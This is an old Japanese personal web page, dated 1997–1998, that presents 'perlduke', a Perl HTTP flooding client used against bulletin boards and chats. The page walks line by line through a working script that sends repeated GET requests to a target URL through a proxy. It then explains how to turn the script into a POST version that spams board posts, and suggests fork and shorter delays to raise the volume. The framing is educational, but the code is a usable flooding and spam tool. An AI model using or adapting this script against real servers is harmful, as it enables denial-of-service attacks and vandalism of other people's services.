Perlduke  カウンター数値上昇スクリプトの果て


PerlDUKE / perlduke / duke / パールデューク / デューク 

作成者: Alice P Liddell.

httpデーモン若しくはそれにて動作するサーバーアプリケーションを対象とした物量的攻撃用httpクライアントの総称。CGIの形式で仕様されたものが一般的。公開されたものがperl言語仕様であったため、作成者がperldukeと命名した。dukeとは当時最高と唄われたヴァンダル(掲示板荒らし)のハンドルネームである。

CGIの使用を許可している数多くのサーバーで実行可能、ソケットを使いネットワークで接続されているターゲットとされたサーバーマシンに、足場のマシンが許す限りの膨大なパケットを送信し、ターゲットを処理性能低下・停止させる。威力は足場となったマシンやネットワークの性能に左右されるが、ターゲットのネットワークに過大な負荷を与え、機能をストップさせてしまう事が多い。テレホーダイタイムにサーバーが異常に重くなるのは天然のperlduke現象と言える。 

作成者の本来の意図は実験目的。後にアンダーグラウンドウェブ上にて数多くの類似物が作られ、主に掲示板・チャット荒らし攻撃に利用された。


 無料サーバーでCGI動くところを使ってるUG系サイトを漁ると、よく置かれているスクリプトがあります。カール牧師さんのアクセス制御スクリプトとか、あやしいわーるどの掲示板なんかが一般的ですが、さいきんよく見かけるのがPerlDPなんですね。DPさんと話したことないので、なんであっちこっちに撒かれてるのか分からないんですけど、スクリプト名だけ変えてあるのがたくさんあるみたいです。

偶然?入手したひとが掲示板などに貼りつけてるのが原因かなぁって思いますが。

これらの、半連続送信型httpクライアントの事を総称して、duke、またはperlduke(スペルの大文字小文字を問わない)と現在は呼ばれているようです。現在のように一般的に知られるようになったのは、わたしが今年3月に一般公開したのが始まりですけど、同じ手のものは2年くらい前からあったみたいですね。中坊が使うとロクでもないことになるのが目に見えていたので、今までソース公開はしませんでした。

特殊なシロモノって見方をされますけど、perlという言語を使っている点とソケットがどんどん作られる点を除けば、ブラウザと同じようなものです。目的が違うと思われがちですが、わたしが作った当初の目的はカウンターの数値を急上昇させることでした。

それはGetDUKEと命名され、一般的対象の掲示板スクリプトがサポートするPOSTメソッド対応のものをPerlDUKEと命名しました。

それでは、簡単にdukeスクリプトを覗いて見ましょうね。出回ってるPerlDPとか、perlduke自体では複雑だと思いますので、出来る限り簡略化してます。

以下は、perlが様々なUNIXコールを内蔵してるとか、ストリーム型ソケット通信使うとか、システムコールがなんちゃらとかプロセスがどーたらって説明は抜きにしてるので、よく読んでも、なんとなーく分かったつもりにしかならないと思います。


use Socket;

$target='カウンタのURL';
$proxy = '適当なproxy';
$port = 'proxyのポート';

$proto = getprotobyname('tcp') [2];
$addr = gethostbyname($proxy) [4];
$pack = pack('S n a4 x8', &AF_INET, $port, $addr);

for($n=0;$n<100;$n++){

socket(S,&AF_INET,&SOCK_STREAM,$proto)|| next;
connect(S,$pack)|| next;
select(S);
$|=1;
select(STDOUT);

print S "GET $target HTTP/1.0\n\n";
close(S);

sleep 2;

}
exit; 


 use Socket;

データが自分のサーバー外に出て行くときには、socketプログラムを使います。ですから、use♪

 $proxy = '適当なproxy';
 $port = 'proxyのポート';

proxyを使わないと、スクリプト側でホスト=IP変換やんなきゃいけないので面倒。そういう処理はぜんぶプロクシに押し付けちゃいましょう♪

 $proto = getprotobyname('tcp') [2];

ソケットではtcp以外にも様々な種類の(UDPとか)プロトコルが使われますので、ソケットの使用するプロトコルをここで定義します。行の最後の[2]は、getprotobyname('tcp')で得られるリストのうち、0,1,2と、3番目に来る変数を取ってきなさいって意味りゅん♪

たとえば、

($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);

ってのはよくあるサーバーの時計から時刻とか年月日を取り出すものですけど、$minだけ欲しいときは

$min = localtime(time)[1];

って書けばいいんです。

 $addr = gethostbyname($proxy) [4];

同じくプロクシのIPアドレスと型のリストです。必要なのはアドレスだけですから、リストの5番目を取ります。

 $pack = pack('S n a4 x8', &AF_INET, $port, $addr);

('S n a4 x8', &AF_INET, $port, $addr)をバイナリにまとめて(pack)一つの変数として扱います。AF_INETはアドレスファミリー、'S n a4 x8'はソケットアドレスなどと呼ばれますけど、詳しくはUNIXの本でも読んでください。

 for($n=0;$n<100;$n++)

100回だけ繰り返します。for(;;)で単純な繰り返しです。while(1)でも同じ結果になります。

 socket(S,&AF_INET,&SOCK_STREAM,$proto)|| next;

Sというハンドルを持ったストリーミング形状のソケットを作ります。VCで、赤いペンを作る、などと同じように考えます。パケット形状でなくストリームなのは確実な通信をするためなんですけど、んまぁ^^、UNIXの本でも漁ってください。先ほど指定したプロトコルが使われて通信準備ができました。|| nextは、ソケット作りが失敗したときに次の繰り返しに回します♪

 connect(S,$pack)|| next;

さっき一つにまとめた(パックした)アドレスを使って、ソケットSをそのアドレスに接続します。ここでは、プロクシに接続して要求を出せば、後は勝手にプロクシがやってくれます。赤いペンを紙にくっつけたわけです(まだ手にペンを持ったわけではないんですが)

 select(S);

さていよいよプロクシに要求のデータを送りますが、その前にファイルハンドルを設定・・・んー♪。ごちゃごちゃしてきた・・。まぁ、赤いペンを手に持った(選んだ)ことにしてください。

 $|=1;

もしここまでで、まだデータが出来あがってなかったら、それらを強制的に出力させます。バッファのフラッシュなどと言います。Cでは\nの代わりに使うendlが同じ処理(フラッシュ)を行ってくれますが。逆に全部破棄したいときは、1を0にします。

 select(STDOUT);

標準出力ストリームにファイルハンドルを返し・・・・。んっ♪まー^^;; この位置に入れといたほうが後の説明で便利ですので・・。

 print S "GET $target HTTP/1.0\n\n";

では、プロクシに対しての要求を出力(Sの中にプリント)します♪

 close(S);

ペンを捨てます♪

 sleep 2;

お休み時間です。2にすると、2秒ではなくって、1秒から2秒の間のランダムな時間がお休みになります。サーバーに負担をかけないように設定しましょうね^^

exit;はお約束。なお、close(S)の前に

while (<S>) {
print ;
}

と入れると、プロクシが状況を教えてくれます♪


 これがGetDUKEの基本的な構造です。これをPerlDUKE(postduke)にするのは簡単ですけど、概念だけに留めておきましょう♪

メソッドPOSTでは、GETにはない変数、Content_lengthの値が使われます。レンジの出し方は簡単ですね♪

$name='アリス'; $subject='んっ♪'; $value='にゃぁ♪';

$post= "action=regist&name=.$name.&subject=.$subject.&value=.$value";
$length=length($post);

socket毎に変化する内容ではないですので、繰り返しの前に置きます♪

それから、print S "GET $target HTTP/1.0\n\n";部分の置き換えです♪

print S <<"EOF";

POST $target HTTP/1.0
Referer: $target
Host: $proxy
Content-Length: $length

$post

EOF


forではなくてforkで子供をたくさん産んだり、sleepじゃなくてselect(undef,undef,undef,$delay)などの細かいディレイ設定を行うこともできますね。


 GetDUKEはPerlスクリプティングではごく一般的な、関数やシステムコールを使ったもので、基本的概念はサーバープッシュとかUNIXネットのプリンタ出力とかにも使われることがあります。CGIを前面に押し出してる参考書では見かけませんけど、Perlの参考書ではときどき見かけるものです♪

GetDUKEを理解するだけでも、かんたんなネットワークの構造とかUNIXでのプログラミングを理解するきっかけにもなりますから、ぜひぜひ考えてみてくださいね^^

^-^



戻る

(C)1997-1998 Alice P Liddell
All rights reserved.